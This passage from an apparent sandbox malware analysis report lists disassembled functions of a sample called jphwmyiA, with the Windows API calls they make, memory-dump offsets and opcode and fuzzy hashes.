                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: LR]q$LR]q
                                                                                                                                                            • API String ID: 0-3917262905
                                                                                                                                                            • Opcode ID: 2c110666cd9810b8b4b14f4511d28c1c443233be788cdaac4858a32b146a82d5
                                                                                                                                                            • Instruction ID: 702522f61ecbf95f3db63668a9dc8447970a6f9fad4fd411fd1102772dd51a2e
                                                                                                                                                            • Opcode Fuzzy Hash: 2c110666cd9810b8b4b14f4511d28c1c443233be788cdaac4858a32b146a82d5
                                                                                                                                                            • Instruction Fuzzy Hash: BD81A3347102069FDB08EF79C95495E7BF6FF89A04B2585A9E106DB361EB34EC02CB91
                                                                                                                                                            Function 2A1E7520 Relevance: 2.7, Strings: 2, Instructions: 209COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: (&]q$(aq
                                                                                                                                                            • API String ID: 0-1602648543
                                                                                                                                                            • Opcode ID: 1ec3225432786cc56473ec86ce23fd1b471e64b09ce3f329c11b0e8446804928
                                                                                                                                                            • Instruction ID: b2b642d1f727015e01abc7bf30a2571de21170c8e2260f46adc7c4f70480a0cb
                                                                                                                                                            • Opcode Fuzzy Hash: 1ec3225432786cc56473ec86ce23fd1b471e64b09ce3f329c11b0e8446804928
                                                                                                                                                            • Instruction Fuzzy Hash: 6371D531F006198BDB09EFB9D8506EEBBB2AF98710F118429D505B7385DF34AE42C791
                                                                                                                                                            Function 2A3FB234 Relevance: 1.7, APIs: 1, Instructions: 189COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2A3FB401
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CreateWindow
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 716092398-0
                                                                                                                                                            • Opcode ID: 788731df37d05f3208e54a7fdacee5a599e8af6b4b2e6b0b8613abd8541001d4
                                                                                                                                                            • Instruction ID: 3322df87be492404451ee127f65b403058ee3f133abf3cec46677fc1ee17bb66
                                                                                                                                                            • Opcode Fuzzy Hash: 788731df37d05f3208e54a7fdacee5a599e8af6b4b2e6b0b8613abd8541001d4
                                                                                                                                                            • Instruction Fuzzy Hash: 3F718CB4D00258DFDF21CFA9D984ADDBBF1BF09300F1091AAE958A7211D734A985CF45
                                                                                                                                                            Function 2A3FB240 Relevance: 1.7, APIs: 1, Instructions: 182COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2A3FB401
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CreateWindow
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 716092398-0
                                                                                                                                                            • Opcode ID: b5cf635afa715b244d02fbb7720975ba75f7324a46107847382d909c41b97b83
                                                                                                                                                            • Instruction ID: f4745d0d61c2cbe353964a74066a22ef102224a9922de5e7f955728a405981e2
                                                                                                                                                            • Opcode Fuzzy Hash: b5cf635afa715b244d02fbb7720975ba75f7324a46107847382d909c41b97b83
                                                                                                                                                            • Instruction Fuzzy Hash: 92716AB4D00218DFDF20CFA9D984ADDBBF1BF09304F5091AAE958A7211D734AA85CF55
                                                                                                                                                            Function 2A1DB43C Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: a30d02f2ed9fbe798dfc670842303241d6f1e3b3daaf2f317d67cd4c242467af
                                                                                                                                                            • Instruction ID: c42e4107845dcceaa108d5ae991a53b923e5feaf99e8ec3ba1a2149fe63de3c1
                                                                                                                                                            • Opcode Fuzzy Hash: a30d02f2ed9fbe798dfc670842303241d6f1e3b3daaf2f317d67cd4c242467af
                                                                                                                                                            • Instruction Fuzzy Hash: 37417D75908508EFCB10DF98C4D0ADDBBB1FF58324F619158D50AAB2A1C735AA82DF54
                                                                                                                                                            Function 2A3FDFD3 Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2A3FE0A3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DuplicateHandle
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3793708945-0
                                                                                                                                                            • Opcode ID: 5cb55e429c65e300993076319491c7cc56ab2c92621fc2048981072299b468d5
                                                                                                                                                            • Instruction ID: f3f8c57019e9872fe719d64ed9d078b4c6e0185ecd659b0619c6725255a56762
                                                                                                                                                            • Opcode Fuzzy Hash: 5cb55e429c65e300993076319491c7cc56ab2c92621fc2048981072299b468d5
                                                                                                                                                            • Instruction Fuzzy Hash: 724156B9D002589FCB10CFAAD584ADEFBF5BB09310F24946AE918AB310D735A985CF54
                                                                                                                                                            Function 2A3FDFD8 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2A3FE0A3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DuplicateHandle
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3793708945-0
                                                                                                                                                            • Opcode ID: de9aeb37c8add9b1e6707eac2f24298eac4d6a8af0d1370e881ea5e360eaab65
                                                                                                                                                            • Instruction ID: 37690062fd5bc581a15313b23004a286de37453a907cd3c24385f418b43b9127
                                                                                                                                                            • Opcode Fuzzy Hash: de9aeb37c8add9b1e6707eac2f24298eac4d6a8af0d1370e881ea5e360eaab65
                                                                                                                                                            • Instruction Fuzzy Hash: 7A4168B9D002589FCB10DFAAD584ADEFBF5BB09310F14946AE918BB310D335A945CF54
                                                                                                                                                            Function 2A1DB3DC Relevance: 1.6, APIs: 1, Instructions: 102COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 25c94b47dcb5fb5bda594d979e70153e4c088afefacfbf60ebe1f0728534c624
                                                                                                                                                            • Instruction ID: e355e86cdbe50e04905da0351e8d239db3634736020e33795fa7a271a6bff5e1
                                                                                                                                                            • Opcode Fuzzy Hash: 25c94b47dcb5fb5bda594d979e70153e4c088afefacfbf60ebe1f0728534c624
                                                                                                                                                            • Instruction Fuzzy Hash: 8F417C75D08608EFCB10DF98D0C4ADDBBB2FF58324F619158D50AAB2A1C735AA82CF54
                                                                                                                                                            Function 2A1DB2A0 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • LdrInitializeThunk.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 2A1DB2F1
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                            • Opcode ID: cdfdcb2d279f0fb2e85e30dd34fa82a58ac0baab1f3ed52767055d8949db551d
                                                                                                                                                            • Instruction ID: da2f8ce79e98721f099176992eabdd7fbbc65938e6b3aac059e614b792c4390c
                                                                                                                                                            • Opcode Fuzzy Hash: cdfdcb2d279f0fb2e85e30dd34fa82a58ac0baab1f3ed52767055d8949db551d
                                                                                                                                                            • Instruction Fuzzy Hash: 0F417771904608EBCB04DF99C484ADDFBF2FF88314F25D168D5096B295C731AA86CF94
                                                                                                                                                            Function 2A3FE4A4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • CallWindowProcW.USER32(?,?,?,?,?), ref: 2A3FF351
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CallProcWindow
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2714655100-0
                                                                                                                                                            • Opcode ID: a5c7fea7b1dcaba4c27fbe389d95c07afb3699eaa440ddd7658b6cf93bbbc625
                                                                                                                                                            • Instruction ID: a7976b08550497f6909be98ac3b303e8871a826ff5db7dac64187415be05c088
                                                                                                                                                            • Opcode Fuzzy Hash: a5c7fea7b1dcaba4c27fbe389d95c07afb3699eaa440ddd7658b6cf93bbbc625
                                                                                                                                                            • Instruction Fuzzy Hash: 0B4108B59103059FCB14DF99C484A9AFBF5FF88314F24C85AE919A7321D338A841CFA0
                                                                                                                                                            Function 2600EE60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualProtect.KERNEL32(?,?,?,?), ref: 2600EF04
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3443915543.0000000026000000.00000040.00000800.00020000.00000000.sdmp, Offset: 26000000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_26000000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ProtectVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 544645111-0
                                                                                                                                                            • Opcode ID: 506a050bdbb7ad7e8882960dd108edd599e361ed701096b83e438c2502c68289
                                                                                                                                                            • Instruction ID: 0ca9a33e99cd7ec0fd35c5c6fa338703a25e2caa71d9ec5399db0d6e22bed19a
                                                                                                                                                            • Opcode Fuzzy Hash: 506a050bdbb7ad7e8882960dd108edd599e361ed701096b83e438c2502c68289
                                                                                                                                                            • Instruction Fuzzy Hash: 343198B4D012489FDB14CFA9D980AAEFBF5BF49310F10942AE818B7210D735A945CF94
                                                                                                                                                            Function 2A3F8C70 Relevance: 1.6, APIs: 1, Instructions: 88timeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SetTimer.USER32(00000000,?,?,00000000), ref: 2A3FF5CB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Timer
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2870079774-0
                                                                                                                                                            • Opcode ID: daa7c24a9e93e2196ac04c66ea433c444fdb8f7c9ef70d9d1a0d1c823bb2227b
                                                                                                                                                            • Instruction ID: 8b75701e0cb9fe1e531affc58874bfdc5875ab7a471209d7895ddd69d5f12a44
                                                                                                                                                            • Opcode Fuzzy Hash: daa7c24a9e93e2196ac04c66ea433c444fdb8f7c9ef70d9d1a0d1c823bb2227b
                                                                                                                                                            • Instruction Fuzzy Hash: 803188B9D05258AFCB10DFA9D584ADEFBF5AB09310F10942AE818B7310D375A945CFA4
                                                                                                                                                            Function 2A3FF528 Relevance: 1.6, APIs: 1, Instructions: 87timeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SetTimer.USER32(00000000,?,?,00000000), ref: 2A3FF5CB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Timer
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2870079774-0
                                                                                                                                                            • Opcode ID: 7bbc8b30e233fb121321649a8d96639a576eaf5343e26fdeaa6cf08fb81bf78c
                                                                                                                                                            • Instruction ID: 21f4769c8ae79b091bec68d55f992276156221cd44fa581ef4fba5049847de31
                                                                                                                                                            • Opcode Fuzzy Hash: 7bbc8b30e233fb121321649a8d96639a576eaf5343e26fdeaa6cf08fb81bf78c
                                                                                                                                                            • Instruction Fuzzy Hash: 323188B9D002489FCB10CFA9D584ADEFBF1BB09310F24941AE818B7310D335A945CF64
                                                                                                                                                            Function 2A3FA5D8 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleW.KERNEL32(?), ref: 2A3FA672
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4139908857-0
                                                                                                                                                            • Opcode ID: a7220231458e90b7ec8807d5dc71437fbbbef38cf0ea36f279bb3674dc99c109
                                                                                                                                                            • Instruction ID: 5172dc60b4719914e37b2d2d0310f824fdeac8f7697f095c34480de9e5f3c481
                                                                                                                                                            • Opcode Fuzzy Hash: a7220231458e90b7ec8807d5dc71437fbbbef38cf0ea36f279bb3674dc99c109
                                                                                                                                                            • Instruction Fuzzy Hash: 6D31ABB4D102489FCB14CFAAD984ADEFBF5AF49310F14946AE858B7320D734A945CF64
                                                                                                                                                            Function 2A3F8FB4 Relevance: 1.6, APIs: 1, Instructions: 79COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleW.KERNEL32(?), ref: 2A3FA672
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4139908857-0
                                                                                                                                                            • Opcode ID: 742347e8334225dd688f094b8bcfb8dc0d8252fb23afa2ca1537b48c54bcb053
                                                                                                                                                            • Instruction ID: 6964060a03dff33f93631b288d927226a421313fdfe418ebc91ba12b684c1017
                                                                                                                                                            • Opcode Fuzzy Hash: 742347e8334225dd688f094b8bcfb8dc0d8252fb23afa2ca1537b48c54bcb053
                                                                                                                                                            • Instruction Fuzzy Hash: 9231ADB4D002489FCB14DFA9D584ADEFBF5AF49310F14946AE918B7320D334A945CFA4
                                                                                                                                                            Function 2AD3AD24 Relevance: 1.6, APIs: 1, Instructions: 71windowCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 2AD3D0B3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3456975474.000000002AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AD30000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2ad30000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DispatchMessage
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2061451462-0
                                                                                                                                                            • Opcode ID: cbe828620dee7d3a655b4d48ec902099999e1caee76aba5de7e573e715ff5cfc
                                                                                                                                                            • Instruction ID: 41ae61d36bef4242ef4687b9359b951a215b7aaf8f7cab8d85203a624dd252d5
                                                                                                                                                            • Opcode Fuzzy Hash: cbe828620dee7d3a655b4d48ec902099999e1caee76aba5de7e573e715ff5cfc
                                                                                                                                                            • Instruction Fuzzy Hash: 4031CCB4D04208DFCB10DFA9D584ADEFBF4AB49320F14946AE848B7310D335A941CFA5
                                                                                                                                                            Function 2AD3D030 Relevance: 1.6, APIs: 1, Instructions: 70windowCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 2AD3D0B3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3456975474.000000002AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AD30000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2ad30000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DispatchMessage
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2061451462-0
                                                                                                                                                            • Opcode ID: e02b362a6b34813de37aa4860f250c41a653de327b119e33fac5a7d9174dcd54
                                                                                                                                                            • Instruction ID: 9b6960e80e178c64746a1992269175b191e7634874894cdc691315b38a8c1105
                                                                                                                                                            • Opcode Fuzzy Hash: e02b362a6b34813de37aa4860f250c41a653de327b119e33fac5a7d9174dcd54
                                                                                                                                                            • Instruction Fuzzy Hash: DA31ACB8D002499FCB14CFA9D584ADEFBF5AF49324F24905AE818B7310D335A941CFA5
                                                                                                                                                            Function 2A1DB290 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • LdrInitializeThunk.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 2A1DB2F1
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                            • Opcode ID: 1e7b1674cf81efc3d7284397948d59718963501a764b2e37fdffd70d86f47bf2
                                                                                                                                                            • Instruction ID: c625471195350382a546e5f9b0ef3893ad317fec0b1a7b6726d9a324eaca5c5a
                                                                                                                                                            • Opcode Fuzzy Hash: 1e7b1674cf81efc3d7284397948d59718963501a764b2e37fdffd70d86f47bf2
                                                                                                                                                            • Instruction Fuzzy Hash: F1218CB2D05508AFDB14EFAAD8887DDFBF6BF88320F14D129D105676A4C7305A46CB54
                                                                                                                                                            Function 2A1D7E0C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • LdrInitializeThunk.NTDLL(00000000), ref: 2A1D7F4E
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                            • Opcode ID: e5c552c280e76785ad0726da3ff42fda82d1bf03143764a63330c19013a2e31e
                                                                                                                                                            • Instruction ID: ca9772e25a98e4810607412a228f57f80cb46b9c733c3da879373b838a1c7f2b
                                                                                                                                                            • Opcode Fuzzy Hash: e5c552c280e76785ad0726da3ff42fda82d1bf03143764a63330c19013a2e31e
                                                                                                                                                            • Instruction Fuzzy Hash: 05119D75E00119DFDB14EBA8D484EEDBBB5BF88318F108564E814A7252D730EA41CB60
                                                                                                                                                            Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                            • SysAllocString.OLEAUT32 ref: 00401898
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_400000_jphwmyiA.jbxd
                                                                                                                                                            Yara matches
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocString_malloc
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 959018026-0
                                                                                                                                                            • Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                            • Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
                                                                                                                                                            • Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                            • Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA
                                                                                                                                                            Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_400000_jphwmyiA.jbxd
                                                                                                                                                            Yara matches
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CreateHeap
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 10892065-0
                                                                                                                                                            • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                            • Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
                                                                                                                                                            • Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                            • Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548
                                                                                                                                                            Function 2A29C470 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: +&
                                                                                                                                                            • API String ID: 0-3386231891
                                                                                                                                                            • Opcode ID: cd1918b94b5b28dab50ae70da2f796192a269741f2e46d09d98f8f1224361ea8
                                                                                                                                                            • Instruction ID: cab3d36ad7c1c1ae60a67ba1d7494d09f911eef0103a6c56730ea9c23f7fd78b
                                                                                                                                                            • Opcode Fuzzy Hash: cd1918b94b5b28dab50ae70da2f796192a269741f2e46d09d98f8f1224361ea8
                                                                                                                                                            • Instruction Fuzzy Hash: 4F71D275E00218CFDB08DFA5C994A9DBBB2BF89300F249029D804BB365DB396986CF54
                                                                                                                                                            Function 2A296440 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: +&
                                                                                                                                                            • API String ID: 0-3386231891
                                                                                                                                                            • Opcode ID: fd067b9578fffd5fd6509c93430aeaf43dd593b12290d31bfc0df078f9c8fa97
                                                                                                                                                            • Instruction ID: aa63214161638c386fd72ab24f0973a746b2b5269c1bbce2c6d832ae271e3cfa
                                                                                                                                                            • Opcode Fuzzy Hash: fd067b9578fffd5fd6509c93430aeaf43dd593b12290d31bfc0df078f9c8fa97
                                                                                                                                                            • Instruction Fuzzy Hash: 2771D275E00218CFDB08DFA5C994ADDBBF2AF89300F248029D804BB365DB395986CF54
                                                                                                                                                            Function 2A1E8D18 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: nKuq
                                                                                                                                                            • API String ID: 0-4080595220
                                                                                                                                                            • Opcode ID: 26bf1570d137c2a078000b8d5df5d022208085316f3d7d312ea8b28cc8c359e0
